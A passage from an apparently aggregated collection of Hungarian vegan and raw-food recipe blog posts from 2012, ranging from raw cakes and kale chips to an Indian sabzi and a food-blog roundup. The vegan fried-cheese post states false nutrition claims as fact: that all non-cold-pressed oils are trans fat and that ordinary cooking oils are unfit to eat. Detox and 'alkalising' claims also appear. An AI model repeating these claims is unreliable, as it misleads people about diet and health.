hozzá 1-2 teáskanál kókuszolajat. A tortaformát béleljük ki folpackkal és nyomkodjuk az aljába a datolyás mandulás keveréket, majd tegyük a mélyhűtőbe megkeményedni, amíg elkészítjük a krémet. Tegyünk minden hozzávalót a robotgépre és pürésítsük krémesre. Vegyük ki a formát, kanalazzuk az alapra a krémet és tegyük vissza a mélyhűtőbe 1 órára. Ha türelmetlenek vagyunk, már 45 perc után kivehetjük. :) És akkor vágjunk bele... Ez a szelet a tiétek, a többit megettem én! :) ------ *A torta akkor számít teljesen nyersnek, ha nyers kakaóport, kókuszvirág cukrot vagy nádcukrot és nyers kókuszolajat használunk az elkészítéséhez. A nyers alapanyagok lényege, hogy 42 Celsius fok fölé nem megy a hőmérséklet az előállítás, feldolgozás során. Ha nem sikerül ilyen alapanyagokat beszereznünk, nem probléma, attól ugyanolyan finom lesz a torta, csak nem mondható 100%-osan nyersnek.
Napi adag :)
2012. március 12. Nyers konyha
Íme a napi adag alga, mely így tavasszal igazán szükséges, segíti a méregtelenítést, megerősíti az immunrendszert, tartalmaz B 12 vitamint és még sorolhatnám, a lényeg, aki megteheti éljen vele ! :) Algás gyümisali: Az algaport érdemes gyümölcsökkel ízletesebbé tenni, készítettem is egy gyümölcssalátát ananászból, kiviből, almából, banánból és narancsból. Mindent összekockáztam, felezett ananászba töltöttem, megszórtam fahéjjal, kókusz chipsszel és kókuszreszelékkel és készítettem hozzá egy algás öntetet. Fél teáskanál alga turmixolva, ananásszal, banánnal, naranccsal. Ezt öntöttem a salira. Egy film az algákról.. Természetgyógyász nyilatkozik.
Egzotikus gyümölcsgolyók
2012. március 10. Nyers konyha
Napokban készítettem ezt az édességet. Elég sokféle magot használtam, természetesen 1-2 félével is elkészíthető és helyettesíthető a többi. Ha marad tésztánk akár meg is aszalhatjuk. Egzotikus gyümölcsgolyók: 50 gramm zabpehely ( elhagyható ) 50 gramm napraforgó ( áztatva minimum 1 éjszakát) 50 gramm mandula ( áztatva minimum 1 éjszakát) 50 gramm mazsola ( áztatva 1 éjszakát) 50 gramm sárgabarack ( áztatva 1 éjszakát) 25 gramm szezámmag 1 banán 1 alma 2 szelet ananász 1 kiskanál fahéj csipet só A beáztatott magokat lecsepegtetjük, aprítógépben daraboljuk. Kiöntjük egy tálba. Az aprítógépbe beleöntjük a lecsepegtetett mazsolát, barackot, banánt, összevágott almát és az ananászt felkockázva. Jól eldolgozzuk, úgy hogy pépes állagot kapjunk. Hozzákeverjük a sót és a fahéjat. Ha ez kész ráöntjük az aprított magokra. Hozzákeverjük az egész masszához, majd a végén a zabpelyhet és a szezámmagot is beledolgozzuk. Ilyenkor meg lehet kóstolni, mennyire édes. Ha kívánatos lehet édesíteni mézzel, bár én nem szoktam. Ha száraz mehet még hozzá kicsi víz, ha nedves akkor egy kis zabpehely vagy útifűmaghéj. Kézzel golyókat formázunk belőle és kakaóporba vagy kókuszreszelékbe hempergetjük.
Köles rizotto - Kaliforniai paprikával
2012. március 6. Fittanyuka Blog
Ez a köles étel önmagában egy tál, finom salátával, vagy köretként is fogyasztható. A kölesről már sokszor leírtam a megannyi pozitív tulajdonságot, ezt most nem teszem meg újra. De tény, hogy sokrétűen felhasználható.. Hozzávalók: 150 g köles víz 1 db vörös hagyma 1 db piros kaliforniai paprika friss petrezselyem zöld 1 kávéskanál himalaya só 1 db élesztőmentes zöldségleves kocka 1 cikk fokhagyma 1 evőkanál kókusz olaj 1 evőkanál hidegen sajtolt olaj ( szezám olajat használtam most) A kölest átmossuk és háromszoros mennyiségű vízben a leveskockával együtt megfőzzük. A hagymát felaprítjuk, a kókusz olajon megdinszteljük, majd hozzáadjuk a felkockázott kaliforniai paprikát. Amikor már a paprika is kissé megpuhult, lehúzzuk a tűzről, hozzákeverjük a kölest, sózzuk, ízlés szerint fűszerezhetjük, például kevés örőlt zöld borssal. Hozzáadunk kevés felaprított petrezselyem zöldet, a préselt fokhagymát és a hidegen sajtolt olajat. Készen is van az önnáló ételünk vagy a finom köretünk! Fittanyuka - Lúgosító ételek a facebookon Fittanyuka
Szezámos, kakaós omlós keksz
2012. február 27. Csatni és Umeboshi: Jógakonyha
Még a karácsonyi trakta idején történt, hogy besokalva a sok hagyományos- és egyébként rendkívül finom - aprósüteménytől, felébredt bennem a vágy az egészségesebb ízek irányába. Ez az omlós keksz tahini (szezámkrém), kakaó és kókuszolaj remek társításából jött össze tojás és tejtermék hozzáadása nélkül. A süti remekül illik a makrobiotikus diétába. Hozzávalók: 1,5 bögre liszt (fele-fele arányban fehér teljes kiőrlésű és rizsliszt), 1/4kiskanál só, 2 kiskanál sütőpor, 0,5 bögre kókuszolaj (vagy Ré növényi margarin), 0,5 bögre szezámkrém, 0,5 bögre rizsszirup (vagy agave), 3 evőkanál keserű kakaópor 1./ A hozzávalókat a felsorolás szerint tegyük egy tálba és dolgozzuk össze. 2./ Kézzel formázzunk belőle diónyi méretű golyókat.Tegyük egy sütőlemezre és előmelegített sütőben kb. 170 fokon 12 perc alatt süssük készre.
Rántott sajt - növényi összetevőkből
2012. február 20. Fittanyuka Blog
Kérésetekre egy hagyományos étel megreformálva, nemcsak azoknak akik tej,-laktóz érzékenyek. Könnyebben emészthető, nem tartalmaz állati zsírokat, fehérjéket és a növényi zsírok benne nem hidrogenizáltak. Ez nagyon fontos! Általában az ipari, növényi sajtok nemcsak, hogy nagyon rossz ízűek, de sajnos nagyon károsak is egyben. Ugyanis hidrogenizált növényi zsírokból készülnek, amit a szervezet műanyagként kezel, vagyis méreganyagként - savként elraktároz, első körben a fontos szervektől távol, később már az erekben is. Ebbe a kategóriába tartoznak a hagyományos, nem bio margarinok is! Ezek a hidrogenizált növényi zsírok még az állati zsíroknál is károsabbak. Transzzsíroknak is nevezzük őket. A következő káros hatásokkal bírnak: Emelik a koleszterin szintet, károsítják a keringési rendszert, növelik a degeneratív, illetve az öregedéssel kapcsolatos betegségeket. Transzzsír lesz az egyszeresen vagy többszörösen telítetlen zsírokból is, ha 48 C fok fölé melegítjük őket. De bármelyik nem hidegen sajtolt, étolaj transzzsír. Ezért hangsúlyozom mindig, hogy főzéshez, sütéshez használjatok kókusz vagy pálmaolajat, a hidegen sajtolt olajokat pedig mindig salátára, vagy utólag, a nem túl forró ételhez keverve fogyasszuk, hogy az esszenciális zsírsavak pozitív tulajdonságait élvezhessük. A hagyományos étolajak, pedig emberi fogyasztásra nem alkalmasak! A kókusz vagy pálma olaj szénláncai 200 C fok fölött esnek csak szét, így nem alakul át transzssírrá egy sütés , főzés során. Gazdag még laurinsavban, ez csökkenti a szervezet savasságát és az élesztőgombák étvágyát, így a cukoréhséget is kordában tartja, felgyorsítja az anyagcserét . Visszatérve a recepthez. Ez egy szója alapú nem hidrogenizált, növényi sajt, amelyet leginkább a mozzarella és a trappista sajt között tudnék meghatározni. Házilag készített, nem szója alapú növényi sajttal, sajnos nem működik, próbáltam:( Egy szlovák cég készíti. Bioboltok hűtő pultjaiban található. Jó hír, hogy az ára körülbelül az alacsony árfekvésű, középkategóriás sajtokéhoz hasonló. Hozzávalók: 200 g növényi sajt sárgaborsó liszt víz himalaya só tetszés szerinti fűszerek kókusz olaj a sütéshez Úgy készül, egy kis eltéréssel, mint a hagyományos rántott sajt. A sárgaborsó lisztből és a vízből, palacsinta tészta sűrűségű masszát keverünk amelyet sózunk, borsózunk, vagy tehetünk bele tetszőleges zöldfűszereket is. Kétfázisú panírozást hajtunk végre. A sajtot kb. 1 cm-es vastagságú szeletekre vágjuk, amelyeket először alaposan megforgatunk a sárgaborsó lisztben, majd a masszába mártunk és a felforrósított kókusz olajban, teflon edényben aranybarnára sütünk. Óvatosan forgassuk, mert ugyanúgy folyik, mint a hagyományos sajt. Ne villával szúrjuk, hanem lapáttal helyezzük az olajba és szintén a lapáttal forgassuk. Melegen a legfinomabb, utána ugyanúgy visszakeményedik, mint a hagyományos sajt. A helyes ételtársítás szabályai szerint ( növényi fehérje), zöld körettel, vagy friss, vegyes, idény salátával fogyasszuk! Fittanyuka - Lúgostó ételek a facebookon Fittanyuka
Udon tészta pirított leveleskellel és tofuval krémes citromos tahini szószban + az első hét cukor nélkül
2012. február 12. Zizi kalandjai
A könyvek, amelyeket mostanában gyakran forgatok... Igaz már a második hetet tapossuk a cukor és mindenféle édesség, édes sütemény, csokoládé mentes februárban, de az első hét összefoglalójával még csak most jelentkezem. Az első héten ebéd és vacsora után is nagyon hiányzott valami édes. Csak egy kocka csoki, egy falat sütemény és már jobban lennék - gondoltam. Ekkor jöttem rá, hogy a cukor, a csoki ugyanolyan drogok, mint az alkohol vagy bármilyen drog fajta. Enyhe elvonási tünetek jelentkeznek, ha nem kapjuk meg a napi adagunkat. Már-már remegünk azért az egyetlen kocka csokiért, ugye? Eddig is címke-olvasós vásárló voltam, de ezúttal még inkább. Most csak a sós nasik jöhetnek szóba, ezért még figyelmesebben elolvasom a címkéket, hogy tényleg olyat vegyek, amiben nincsen cukor. Például nagy ritkán megkívánom a ropit. Ha elolvasom a hozzávalókat, inkább vissza szoktam tenni a polcra és nem veszem meg. Kivétel ez alól a tönköly ropi, azonban tartalmaz nádcukrot, így ebben a hónapban ez most nem jöhet szóba nasiként. Helyette nagyon sok olajos magot (főleg mandulát, diót, mogyorót, brazil diót, kesudiót) nyersen/pirítva fogyasztunk vagy leveleskel chipset. Ha nagyon az édes ízre vágyunk, akkor almát, narancsot vagy mandarint eszünk, de a kipréselt cékla-és répalének is elég édes az íze, hogy csillapítsa az édes íz utáni vágyunkat. A csoki éhségünket kakaóval csillapítjuk, egy 10 perc alatt összedobható nasival: egy maréknyi mandulát vagy mogyorót száraz serpenyőben megpirítok, ledarálom, összekeverem egy kevés kókuszolajjal és kakaóporral, majd berakom a fagyasztóba 8-10 percre, hogy megdermedjen egy kicsit. Elkanalazgatva filmnézés közben egészen kiváló. A pirított mandula isteni finom, a kakaó a csokira emlékeztet, csak ez az egész krém nem édes. Ha adnánk hozzá 1 evőkanál mézet, még akkor is az egészséges édesség kategóriába sorolnám. :) Hát így telnek a napjaink cukor nélkül. Nem könnyű, de túlélhető. A következő heti beszámolóban írni fogok egy édesség csábító eseményről. Kiálltam a próbát vagy nem? :) Most pedig jöjjön egy vegán recept, amit már harmadjára készítettem, mert annyira bejött nekünk. Fél óra alatt összedobható, szóval hétköznapi gyors vacsoraként is megállja a helyét. Udon tészta helyett használhatunk soba tésztát, rizstésztát, de akár spagettit is. Udon tészta pirított leveleskellel és tofuval krémes citromos tahini szószban Hozzávalók 2 főre: - 200 g udon tészta - 300 g tofu, felkockázva - 1 csokor leveles kel, kisebb darabokra tépkedve - 3 gerezd fokhagyma - 1 teáskanál chili pehely - 4 evőkanál tahini (szezámmag krém) - 2 teáskanál szójaszósz - 1 citrom kifacsart leve - só, bors - kókuszolaj (napraforgó olaj is használható) Melegítsük elő a sütőt 180 fokra. A kockára vágott tofut tegyük sütőpapírral bélelt tepsire, sózzuk, borsozzuk és locsoljuk meg 2 teáskanál kókuszolajjal. Pirítsuk aranybarnára a kis kockákat kb. 20 perc alatt (alkalmanként keverjük át, hogy minden oldalukon jól megpiruljanak). A tésztát enyhén sós, lobogó vízben a tasakon található utasítás szerint főzzük meg, szűrjük le és tegyük félre. Közben egy serpenyőben hevítsünk 2 teáskanál kókuszolajat, adjuk hozzá a fokhagymát, a chili pelyhet, majd 1 perc múlva a leveleskelt és 10 perc alatt pirítsuk enyhén ropogósra. Egy tálkában keverjük össze a tahinit a citromlével és a szójaszósszal, majd ezt a keveréket öntsük a megfőtt udon tésztára. Keverjük hozzá a leveleskelt. Szedjük tálkákba és tegyünk a tetejére a pirított tofu kockákból. További cukormentes vegán receptekért katt ide.
Sütőtök, karfiol, burgonya szabdzsi, répás basmati rizzsel, áfonyás, alma csatnival
2012. február 7. Csatni és Umeboshi: Jógakonyha
Ilyenkor februárban, mint a pavlov kutyája mindig visszatérek az indiai, húsmentes konyhához. Lányom születése után nem sokkal, kb. 5 éve, februárban végeztem egy indiai főzőtanfolyamot a Krisnásoknál, Lilaavatar Das irányítása alatt. Ő nagyon jó tanító mesternek bizonyult, mesélt utazási élményeiről, pontosan követhető recepteket adott és számos kiinduló ötletet. És igazán remek fogásokat ettünk. Megtanultuk néhány kenyérlepény, a paniir, vagyis a házi sajt készítését, a különböző szabdzsik (főételek), badzsik, csatnik, desszertek varriálhatóságát. Az est fénypontja persze a kóstoló volt, amikor félrevonultunk egy helységbe és elfogyasztottuk aznapi fogásainkat. Nagyjából már 20 éve, hogy tini koromban elkezdtem a húsvét előtti böjtöt, ennek ideje is legtöbbször a hűvös februári-márciusi időre esett, felmentést csak akkor adtam magamnak, ha babát vártam, vagy beteg voltam. Szóval most automatikusan is hús-stpopt int a szervezetem. Inspirációnak előkerült a Govinda szakácskönyv, majd a hozzávalókat a hűtő-kamra-előző napi maradékra igazítottam. Így lett ebédre: - Sütőtök, karfiol, burgonya szabdzsi, panírral (házi sajttal) - Répás basmati rizs, - Áfonyás, alma csatni Először az indiai házi sajtot, a panírt készítettem el, 1 liter tejet (bolti) felforraltam, majd apránként belecsavartam fél citrom levét, olykor, olykor óvatosan átkeverve.Amikor már láthatóan külön vált a túró és a savó, félretettem 5-10 percre állni.Gézen keresztül leszűrtem, a fennmaradt túrót összepréseltem egy nehezékkel (bögre) és hagytam, hogy a maradék savó is lecsöpögjön belőle. Egy-két óra múlva felszeleteltem. Mivel bolti tejet használtam a sajt kissé szemcsés maradt. A megmaradt savót a rizs főzésénél hasznosítottam Sütőtök, karfiol, burgonya szabdzsi, panírral (házi sajttal), répás basmati rizssel Hozzávalók: 1 bögre sült sütőtök kockára vágva (előző napról megmaradt), 2 bögre karfiolfej, 2 bögre köckára vágott burgonya, 2 darab hámozott paradicsom (konzerv), 2 evőkanál kókuszolaj (lehet napraforgó olaj is), 2 evőkanál kókuszreszelék, fél-fél kiskanál görög széna és kalonji, kurkuma, őrölt kömény,fél kiskanál őrölt fahéj, 1 kiskanál garam masala, só, bors 1./ A zsiradékon pattogtassuk ki az egész fűszereket (görög széna, kalonji), majd adjuk hozzá a por alakú fűszereket (kurkuma, őrölt kömény, garam masala) és már rögtön mehet is rá a rózsáira szedett karfiol. 2./ Alacsony hőfokon pirítsuk-puhítsuk, közben ajduk hozzá a burgonyát is (és ekkor mehet bele a sütőtök is, ha nyerset használunk). Adjunk hozzá egy pohár vizet, (vagy savót) és fefedve pároljuk puhára. Ekkor hozzáadhatjuk a sült sütőtök darabokat, a hámozott paradicsomot, kókuszreszeléket, csipetnyi fahéjat, legvégül a sajt darabkákat. 3./ Rottyantsuk össze.Ízesítsük kevés sóval, őrölt fekete borssal szükség szerint. Répás basmati rizs Hozzávalók: 1 bögre basmati rizs, 1 nagy sárgarépa, lereszelve, koriandermag, őrölt kömény, 1 evőkanál olaj, víz, és/vagy tejsavó 1./ Az előre megmosott rizst pirítsuk meg a borssal, köménnyel, koriandermaggal majd öntsük fel 2 pohár vízzel és pároljuk. 2./ Mielőtt teljesen megfőne, adjuk hozzá a reszelt sárgarépát, a rizs főzéséhez szükséges levet pedig savóval (ennek hiányában vízzel ) pótoljuk. Fűszerezzük sóval, ha szükséges Fogyasszuk valamilyen csatnival. Én most a kamrában félretett áfonyás, alma csatnit használtam.
A legegészségesebb chips és a februári kihívás
2012. február 1. Zizi kalandjai
Leveles kelt azóta fogyasztunk rendszeresen, amióta voltunk Joan-nál nyersétel tanfolyamon és elmondta nekünk, hogy a téli időszakban az egyik legjobb vitaminforrás. Nagyon magas a béta karotin, C és K vitamin, valamint lutein (növényi festékanyag, fontos szerepet játszik az érrendszer és a szem védelmében) tartalma és gazdag kálciumban. Jó hidegtűrő, nálunk az erkélyen tárolva mínusz fokokban sem fagy meg. A brokkoli, a karfiol és a kelbimbó rokona. Hatalmasra meg tud nőni, nem is fér el egy nagy zacskóban csak úgy, hogy leveleire szedjük. Többnyire zöld turmixokba és levelesekbe tettem bele. Elkészíthető főzeléknek és salátának is, sőt a hétvégén egy fantasztikusan finom és egyszerű tésztaételt készítettem belőle (recept később). Több helyen láttam chipsnek elkészítve. Gondoltam adok neki egy esélyt és kipróbálom milyen nasinak. Elmondom milyen... Olyan, amit nem lehet abbahagyni! A recept roppant egyszerű, 20 perc alatt elkészül és van egy olyan chipsünk, ami nem olajban sült, ropogós, sós és mennyei! Leveleskel chips Hozzávalók: - 1 csokor leveleskel - 2-3 evőkanál extra szűz olívaolaj - só, bors Szedjük le a leveleket a szárról és tépkedjük falat méretűre. Mossuk meg és salátacentrifugában jól szárítsuk meg. Tegyük egy tálba, ízlés szerint sózzuk, borsozzuk és locsoljuk meg az olívaolajjal. Jól keverjük össze, hogy az olaj mindenhol befedje a leveleket. Sütőpapírral bélelt tepsire tesszük és 150-160 fokon megsütjük. Akkor jó, ha tapintásra ropogós és enyhén megbarnult. Nyugodtan készítsünk belőle dupla mennyiséget, garantáltan gyorsan el fog fogyni. És akkor néhány szó a februári kihívásról. Az utóbbi időben egyre több édességet, édes dolgot ettem (tanúsítja ezt a blogom is) és éreztem, hogy a szervezetem kezd telítődni. Ezért úgy határoztam, hogy tartok egy tisztító hónapot és a vegetáriánus táplálkozást vegánra cserélem, valamint lemondok minden édes dologról, beleértve a nádcukrot (kristálycukrot már nagyon régóta nem használok), a mézet, a juhar/rizs/agavé/datolya szirupot, nyírfacukrot, kókuszcukrot (új felfedezettem, majd írok róla később), édes gyümölcsöket (banán, körte, datolya, füge, stb.), csokoládét, süteményeket. Amit engedélyezek: alma, grapefruit, citrom, alkalmanként narancs, kivi és mandarin. Heti bontásban őszintén be fogok számolni nektek a kihívásról, a csoki utáni sóvárgásról (biztos lesz ilyen :)), az ételekről, amiket fogyasztunk (igen, I. is vállalta a kihívást, ő marad vegetáriánus, vagyis tejterméket és tojást fog fogyasztani, csak a cukorról mond le), az új ízekről, amiket felfedezünk. Fontosnak tartom megjegyezni, hogy a témában leírtakat a saját tapasztalataimra alapozom. Ha úgy gondoljátok, hogy ti is szeretnétek kipróbálni, kérjétek ki egy szakember véleményét, tájékozódjatok a témában. Heti egy Húsmentes Hétfővel (Meatless Monday) és cukormentes nappal sokat tehettek az egészségetekért és környezetetekért. További cukormentes vegán receptekért katt ide.
MÁK, CITROM, ROZMARING
...egy pitében. Nem tudom kinek van igaza? Azoknak az országoknak, ahol kapni sem lehet mákot, és kidülledt szemekkel hallják tőlünk, hogy hagyomás édességeinkben gyakran szerepel. Mert valóban mintha valamiféle függőséget éreznék így télen a mákfogyasztást illetően. Szívből ajánlom mindenkinek, hogy próbálja ki a csíráztatott mákot. Talán soha többé nem nyúl a régi formához. A mákban olyan tisztán tetten érhető az ízek életre kelése... Gyümölcsös- virágos illat- és zamatanyagainak közelébe sem ér a hétköznapi mák. Számomra már ez jelenti a mákot. Elég beáztatnunk néhány órára, majd akár egy sűrű szűrőben csíráztatni 1-2 napig (napi kétszer minimum öblítsük át). Ezután már azonnal felhasználhatjuk, vagy megszáríthatjuk aszalóban/sütőben és üvegben tárolva eláll, ahogyan a megszokott formájában. A pite tehát... Citrom és rozmaring? Ez jutott most eszembe a mákról. És azt kell hogy mondjam, hogy ez a három fenomén azonnal szerelembe is esett egymással. Én meg a végeredménnyel. A tésztát inkább semlegesre ízesítettem, kevésbé édes, hogy véletlenül se vessen árnyékot a krémre. Hozzávalók (2db 12cm-es piteformához): 1 1/2 bögre dió vagy mandula vagy vegyesen 1/2 bögre kókuszliszt* vagy kókuszreszelék megőrölve csipet őrölt zöld kardamom csipet ceyloni őrölt fahéj 1/2 mk vaníliapor (én Rapunzelt használok) 5-6 szem iráni datolya (ha a nagyszemű királydatolyát használod, kevesebb is elég) kevés víz csipet Himalája só A magvakat megőröljük. Ősszekeverjük a többi száraz alapanyaggal. A datolyát aprítjuk, majd kb 1dl víz segítségével eldolgozzuk a tésztával. A masszát ketté választjuk, és két formában egyenletesen eloszlatjuk. Én megaszaltam néhány óra leforgása alatt, de nem muszáj, így is használható a formánk. A krémhez: 12 dkg mandula (áztatva, aszalva- ha nem aszaljuk, csak áztatjuk, kevesebb vizet használjunk az elkészítéskor) 5 dkg csíráztatott- aszalt mák (ugyanaz vonatkozik erre, mint a mandulára) 1/2 tk vanília 2 1/2 tk szárított rozmaring 1 db bio citrom héja 2 ek akácméz A mák kivételével mindent turmixgépbe teszünk. A kancsót felöntjük annyi vízzel, hogy ellepje a mandulát. (ha nincs nagy teljesítményű turmixgépünk, érdemes előbb megőrölni, vagy aprítóban előkészíteni a mandulát). Miután teljesen homogén a krémünk, hozzá adjuk a mákot és tovább turmixoljuk. A kész tölteléket a pitetésztákba töltjük, lehűtjük. Vigyázat! Nagyon gazdag desszert, csak módjával :) 1 pite bőőőven elegendő két főre. A másikat őrizzük meg holnapra :) * ez már kapható bioboltokban, előnye, hogy zsírtartalma alacsonyabb mint a reszeléknek, de őrzi a kókusz jellegzetes aromáját.
Sült túró Torta - Tej,-Tojás,-Cukormentes
2012. január 15. Fittanyuka Blog
Ez az a sütemény amely melegen - hidegen egyaránt nagyon finom és mostmár egészségesebb is. A citrom héja és leve teszi igazán túró ízűvé a tortát. Ha sikerül beszereznetek selyem tofut, amely sokkal lágyabb, könnyebb, mint a hagyományos, a töltelék még könnyebb lesz. Az elkészítése egyszerű, csupa növényi összetevőkből, a sütése viszont picit időigényes, de megéri várni. Hozzávalók: (12 szelethez) A tésztához: 30 g xilit ( még jobb ha porrá daráljuk!) 100 g bio margarin 150 g világos tönkölyliszt 1/2 zacskó foszfátmentes sütőpor A túrótöltelékhez: 500 g selyem tofu, vagy hagyományos natúr tofu 100 g étkezési keményítő 1 csapott evőkanál agar-agar 100 g xilit 500 ml vaníliás rizs tej, vagy más növényi tej 400 ml kókusz tejszín 1 db citrom héja 1/2 citrom leve 1/2 kávéskanál bourbon vanília Először a tésztát készítsük el. A lisztet keverjük el a xilittel, majd gyúrjuk hozzá a margarint. Ahogy összeáll a tészta, már jó is. Ne gyúrjuk túl, mert törni fog nyújtáskor. Ha elkészült, tegyük 10 percre hűtőbe. Ha megdermedt, nyújtsuk ki a tésztát, és béleljük ki a tortaforma alját - úgy, hogy a tészta felnyúljon 3-4 centit a forma falára -, hézagosan szurkáljuk meg, és süssük elő. Csak addig süssük, míg teljesen aranysárga nem lesz. A krém összetevőit egy tálban alaposan mixeljük össze. Ha hagyományos tofut használtok akkor először sajt reszelőn reszeljétek le. Tegyük a híg tölteléket a formába, és kb 90 - 100 percig süssük 180 C-on - légkeverés nélkül. Ha sütés közben nagyon sötétedne a torta teteje, fedjük le sütőpapírral, vagy alufóliával! Hagyjuk kicsit hűlni a formában, majd kapcsoljuk le az oldalát és szeletelhetjük is. Fittanyuka - Lúgosító ételek a facebookon Fittanyuka
46. vkf beszámoló
2012. január 5. Vegasztrománia
"mindenkinek volt olyan időszak az életében, amikor nem evett húst. lehet, hogy években mérhető, de az is lehet, hogy csak egy napig tartott. kíváncsi vagyok a vega oldalatokra, szeretném hallani ezeket a történeteket egy-egy hozzá kapcsolódó húsmentes recepttel kiegészítve. várom a vegetáriánusok vegává válásának sztorijait, a megrögzött ragadozók egy-egy elgyengült pillanatának felidézését, és a két véglet között létező többség növényevő intervallumainak anekdotáit. és várom a fabulákhoz tartozó koszt receptjét, a krónikákat kiegészítő fogások leírását." - ezekkel a szavakkal hirdettem meg bő egy hónapja a 46. vkf-et. köszönöm az írásokat, recepteket, nagyon sokszínű lett az összefoglaló! nagyon tetszett, ahogy mindenki más stílusban fogta meg a dolgot és nagyon izgalmas ételek születtek! az írásokat abc-sorrendben teszem közzé. ezennel elengedem a vkf stafétát, és felkérem olzkát, hogy legyen a 47. vkf háziasszonya. anna annaeszikesen fogta fel a témát és annaeszikes stílusban csokorba szedte kedvenc vega ételeit. olyan annaként ajánlja, "aki szereti a húst, csak közben nagyon szeret mindenféle mást is." vega-extraként pedig tom tom tomato chan. ági egy izgalmas, a baldasztis étteremből kikuncsorgott téli tekercs receptjét osztotta meg velünk. egy másik bejegyzésében pedig, mint pszeudo-vega, a xiii. kerületben bolyongott, és vette sorra a vega étkezési lehetőségeket. ági egyébként nagy húsevő, egy régebbi bejegyzésében is inkább arról ír, hogy miért eszik húst. de van egy nagy DE.. brigi rakott hajdinást készített. mint vitay georgina, ő is dupla "dolgozatot" írt, egyet a "tanárnak", egyet pedig az itatós alatt, a társaknak. szó van vega tengerimalacról és vega nagypapáról. olvassátok el az apró betűs részt is! a daokonyha csapata kínai pikáns sütőtökkel készült. bár nem vegetáriánusok, nincs kedvük mindig húst enni. ilyenkor egy jól bevált trükkhöz folyamodnak, a receptekben lévő húst valamilyen zöldséggel, pl. tökkel cukkinivel, vagy krumplival helyettesítik. a cél nem a hús pótlása, hanem egy szuverén vegetáriánus fogás készítése. duende tortillalevest és gránátalmazselét készített. 6-7 évvel ezelőtt 2 évig vega volt, és nyár óta újra hús nélkül étkezik. hozzám hasonlóan nem ellenzője a húsevésnek sem, ram tzu mester szavaival: "isten nem törődik azzal, mit ettél ebédre. a tofut és a kolbászt egyazon gondolattal teremtette." erika aszalt paradicsomos-fetás quiche-sel készült. erika sem eszik minden nap húst, egyáltalán nem esett nehezére vega ételt főzni. sőt, előbb volt meg a recept, mint ahogy meglátta a kiírást. ezt a tipikus francia fogást alapvetően vacsorára szokta készíteni, ám most reggel sütötte, és kápráztatott el vele mindenkit. gabi két recepttel is készült, kesudiós kókusztejes karfiolt főzött és csicseriborsó krémlevest. olyan családban nőtt fel, ahol szinte minden nap ettek húst. később viszont, szakmájának köszönhetően egyre többet foglalkozott az egészséges táplálkozással, és a tanultakat a konyhában is hasznosította. ráadásul férje veleszületett betegsége miatt sokkal jobban odafigyelnek, és kevesebb húst esznek. kriszta gombakrémlevest főzött. fél éve indiában volt, azóta nem nagyon eszik húst. nem különcködésből, ez részéről egy tudatos döntés. szervezete másfél hónap alatt átállt, azóta csak tengeri herkentyűket eszik néha. mivel párja húsevő, azt is ügyesen megoldja, hogy kétfélét főzzön. lilla karfiolfelfújtat készített gnocchival. elmondása szerint a picky eater (vagyis válogatós) kifejezés tökéletesen lefedi őt. ám ez tulajdonképpen két téma, a húsok és a fűszerek köré csoportosul. lilla két hétig még vegán is volt, igaz nem teljesen önszántából. noémi pályaműve egy izgalmas kókuszos hajdina "risotto" gyömbéres sárgarépapürével és korianderolajjal. bár sosem állt közel ahhoz, hogy vegetáriánus legyen, noémi kevés húst eszik, és mindig figyel arra, hogy honnan származik. keveset, de minőségit. ő is felfedezte a vega ételek színes és változatos világát, és aktuális kedvencét, a hajdinát tette vegetáriánus fogásának főszereplőjévé. olzka több fogást is készített: mákkrémet borban főzve, földimogyorós, csokoládés babkrémet, sült céklát vargányás tejbegrízzel és mézel forralt bort finomságokkal fűszerezve. gyerekkorában passzív befogadóként mindent megevett, ami elé került. viszont felnőttként szép lassan étkezéséből eltűnt a hús. olzka ezt úgy fogalmazza, hogy szerelembe esett a növényekkel. piszke két nagyszerű recepttel készült, egy diós fügekolbásszal és egy kakukkfüves-narancsos gombapástétommal. töredelmesen bevallja, hogy sosem volt vegetáriánus, viszont tartott gyümölcsnapot, ami mi más, mint egy vegán nap? véleménye szerint "mindenki szabadsága addig terjed, ahol a másik orra kezdődik. éljenek a mindenevők, ragadozók, növényevők - békében egymás mellett." réka zöldségkrémlevest készített parmezánchips-szel. gyerekkorában tulajdonképpen vegetáriánus volt, s ebből az időszakból néhány berögződés ma is tart. a vega étkezést szimpatikusnak tartja, és sok vegetáriánushoz hasonlóan reméli, hogy egyszer itthon is kiszakad a vendéglátás nagy része a rántott zöldségek köréből. robi két vegán (semmilyen állati eredetű hozzávalót nem tartalmazó) receptet is küldött, az egyik cékla kesudiós feketegyökér pürével, almával, dióval és fodros kel chips-szel, a másik pedig egy desszertként megjelenített sütőtök tökmaggal. robi két (egy teljesen és egy majdnem) vega időszakáról is beszámol. az egyik egy bölcsességfog kihúzása utáni nehézségek hatására tartott vegán időszak volt, a másik pedig egy tudatosan kipróbált böjt. sara, a kollégista gurman receptjével visszatért az alapokhoz. mármint a japán alapokhoz, hiszen miso levest készített. hangsúlyozom, hogy egy koleszban.. elég háklis, ha ételekről van szó, viszont nagyon nyitott és érdeklődő is. szereti a vega ételeket, egyszer még vega böjtöt is tartott. sedith vargányás, aszalt paradicsomos puliszkafasírtot készített sárgarépás krumplifőzelékkel. gyerekkorában hihetetlennek tűnt számára, hogy lehet hús nélkül is étkezni. aztán a kilencvenes években (!) egyik szomszédjáról, egy idős néniről kiderült, hogy csak nyers ételeket eszik. sedithre ez nagy hatást gyakorolt, voltak is próbálkozásai a vegetáriánus étkezésre való átállással kapcsolatban. családjával jelenleg vegyes konyhát vezetnek, hol esznek húst, hol nem. a tearoom csapata két receptet készített, víg vegák tortáját, és egy színes parajos raviolit. a vega sztorit pedig mini interjúkkal oldották meg, megszólaltattak vega és nem vega bloggereket, egy vegán szakácsot, és a végén ők is elmondták véleményüket. zizi narancsos kelbimbóval készült. 2005-ben kezdte el érdekelni az egészséges táplálkozás, aminek hatására először egy vegán, majd egy vegetáriánus diétát tartott egy természetgyógyász vezetésével. eközben rájött, hogy mennyi lehetőséget hordoznak magukban a zöldségek, gabonák, és azóta vegetáriánus. zizi szeret vegánul (tejtermékek és tojás nélkül) sütni, egyre több recept kerül fel a blogjára is.
Málnakrémes palacsinta
